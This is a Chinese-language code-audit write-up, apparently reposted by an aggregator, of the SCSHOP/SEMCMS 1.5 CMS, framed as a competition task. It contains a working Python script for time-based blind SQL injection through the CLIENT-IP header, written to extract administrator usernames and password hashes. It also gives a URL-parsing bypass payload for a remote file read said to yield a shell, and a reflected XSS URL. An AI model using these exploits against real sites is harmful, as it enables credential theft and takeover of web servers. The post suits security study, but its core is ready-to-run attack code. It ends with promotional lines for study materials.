源碼下載

https://www.sem-cms.cn/wenda/view-52.html

看一下代碼邏輯結構

include_once 'db_con.php'; 數據庫配置 include_once 'Ant_Check.php'; sql注入檢測 include_once 'Ant_Class.php'; 數據操作 include_once 'Ant_Contrl.php'; 一些函數封裝 include_once 'class.phpmailer.php'; 郵件操作 include_once 'Ant_Config.php'; 全局設置 include_once 'Ant_Shop.php'; 商品屬性的一些設置函數

發現它只是對GET就行了過濾！

看看有沒有其它方式的參數獲取！

Core/Program/Ant_Contrl.php 里

GetIp 函數返回ip! 這里我們可控！而且不受過濾！

調用的地方有：

咱就用 Search_Data這個函數！

測試：

注入成功

→_→點擊查看學習資料·攻略

• 2000多本網絡安全系列電子書
• 網絡安全標準題庫資料
• 項目源碼
• 網絡安全基礎入門、Linux、web安全、攻防方面的視頻
• 網絡安全學習路線圖

poc

#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2021/11/28 18:28 # @Author : upload # @File : aa.py # @Software: PyCharm import requestsproxy = '127.0.0.1:8086' proxies = {'http': 'http://' + proxy,'https': 'https://' + proxy, } url = "http://anxun.com:80/Template/Default/File/search.php" cookies = {"XDEBUG_SESSION": "PHPSTORM", "PHPSESSID": "moigehp8edd6g71hltptjjogs4", "UM_distinctid": "17d6e9309a5d7-0e967d747fce92-d7e163f-144000-17d6e9309a6a63", "CNZZDATA1279754351": "673588782-1638237672-null%7C1638237672"} headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "Origin": "http://anxun.com", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://anxun.com/Template/Default/File/search.php", "CLIENT-IP": "'or sleep(3) or'", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"} data = {"search": "1"}print(headers['CLIENT-IP']) flag='' for i in range(1,100):f1=flagtop=127low=33while low<=top:mid = (top + low) // 2print(i,mid)payload1 = '\'or if((ord(substr((select(group_concat(user_name,"~",user_ps,"~",user_name))from(sc_user)),{},1))={}),sleep(3),0) or\''.format(i,mid)payload2 = '\'or if((ord(substr((select(group_concat(user_name,"~",user_ps,"~",user_name))from(sc_user)),{},1))>{}),sleep(3),0) or\''.format(i,mid)headers['CLIENT-IP'] = payload1try:r1 = requests.post(url, data=data,headers=headers,timeout=2,proxies=proxies)print(headers)except:flag +=chr(mid)print(flag)breakelse:try:headers['CLIENT-IP'] = payload2r2 = requests.post(url, data=data,headers=headers,timeout=2,proxies=proxies)except:low = mid + 1else:top = mid - 1if flag == f1:break print(flag)

解密后 semcms

其它地方的sql注入應該也可以！

后臺挖掘

有一個任意文件讀取！

從遠程讀取文件！

最后可以保存它

不過要繞過限制：

用

payload:

url=http://sem-cms.cn@0.0.0.0/index.php

成功寫入：

getshell

xss

反射型

http://anxun.com/r20A88_A2M/Ant_M_Delivery.php?page=adadad&aed=a&sortID="<script>alert('XSS')</script>"

最后

感謝你能夠看完這篇文章，如果有需要學習資料的話可以關注回復“資料”即可獲取

總結

以上是生活随笔為你收集整理的比赛的一道题：SCSHOP1.5代码审计的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。